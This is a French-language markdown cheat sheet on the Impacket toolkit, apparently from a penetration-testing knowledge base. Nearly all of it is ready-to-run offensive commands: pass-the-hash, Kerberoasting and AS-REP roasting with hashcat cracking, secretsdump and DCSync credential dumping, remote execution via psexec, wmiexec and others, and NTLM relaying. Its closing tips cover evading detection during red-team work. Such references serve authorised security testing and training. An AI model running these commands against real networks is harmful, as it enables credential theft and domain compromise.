---
title: Impacket
description: "Boîte à outils Python pour SMB, Kerberos, LDAP et l'exploitation Active Directory."
category: ad
kind: tool
tags: [smb, kerberos, secretsdump, psexec, relay]
level: advanced
updated: 2026-11-08
order: 1
aliases: ["impacket scripts", "secretsdump"]
---

## Authentification

```bash
# Mot de passe
impacket-smbclient 'DOMAIN/user:Password@10.10.10.10'

# Hash NTLM (pass-the-hash)
impacket-smbclient -hashes :NTHASH 'DOMAIN/user@10.10.10.10'

# Kerberos (ccache)
export KRB5CCNAME=user.ccache
impacket-smbclient -k -no-pass 'DOMAIN/user@dc01.domain.local'
```

## Énumération

```bash
# Utilisateurs et groupes du domaine
impacket-GetADUsers -all 'DOMAIN/user:Password@dc01.domain.local'

# SID / utilisateurs locaux via SMB
impacket-lookupsid 'DOMAIN/user:Password@10.10.10.10'

# Partages
impacket-smbclient 'DOMAIN/user:Password@10.10.10.10'
# puis : shares, use C$, ls

# Requête LDAP rapide (client OpenLDAP)
ldapsearch -x -H ldap://dc01.domain.local -D 'user@domain.local' -w 'Password' \
  -b 'DC=domain,DC=local' '(objectClass=user)'
```

## Kerberoasting / AS-REP

```bash
# Comptes avec SPN → hash Kerberos (crackable hors ligne)
impacket-GetUserSPNs 'DOMAIN/user:Password@dc01.domain.local' -request -outputfile kerberoast.txt

# Comptes sans pré-authentification
impacket-GetNPUsers 'DOMAIN/' -usersfile users.txt -format hashcat \
  -dc-ip 10.10.10.10 -no-pass -outputfile asrep.txt

# Crack
hashcat -m 13100 kerberoast.txt rockyou.txt      # TGS-REP
hashcat -m 18200 asrep.txt rockyou.txt           # AS-REP
```

## Dump de secrets

```bash
# SAM + LSA + cached creds sur une machine
impacket-secretsdump 'DOMAIN/user:Password@10.10.10.10'

# DCSync (droits de réplication nécessaires)
impacket-secretsdump 'DOMAIN/user:Password@dc01.domain.local' -just-dc

# NTDS.dit hors ligne
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

# Depuis un hash local admin
impacket-secretsdump -hashes :NTHASH 'Administrator@10.10.10.10'
```

## Exécution à distance

```bash
# SMB (service créé, assez bruyant)
impacket-psexec 'DOMAIN/user:Password@10.10.10.10'

# WMI (plus discret, pas de service)
impacket-wmiexec 'DOMAIN/user:Password@10.10.10.10'

# SMBexec, atexec, dcomexec
impacket-smbexec 'DOMAIN/user:Password@10.10.10.10'
impacket-atexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'
impacket-dcomexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'
```

## Relais NTLM

```bash
# Écoute SMB et relaie vers une cible sans signature
impacket-ntlmrelayx -tf targets.txt -smb2support

# Relais vers LDAP avec création d'un ordinateur (ADCS)
impacket-ntlmrelayx -t ldap://dc01 --add-computer

# Relais vers LDAPS
impacket-ntlmrelayx -t ldaps://dc01 -smb2support --delegate-access
```

> [!TIP]
> `ntlmrelayx -socks` ouvre un proxy SOCKS : les sessions authentifiées sont réutilisables avec `proxychains`. Pratique quand la cible ne permet pas d'exécuter une commande immédiate.

> [!WARNING]
> `secretsdump` et `psexec` sont extrêmement bruyants (journaux, création de services, réplication). En red team, privilégie les techniques furtives et vérifie les règles de détection. Ne dumpe jamais plus que nécessaire.
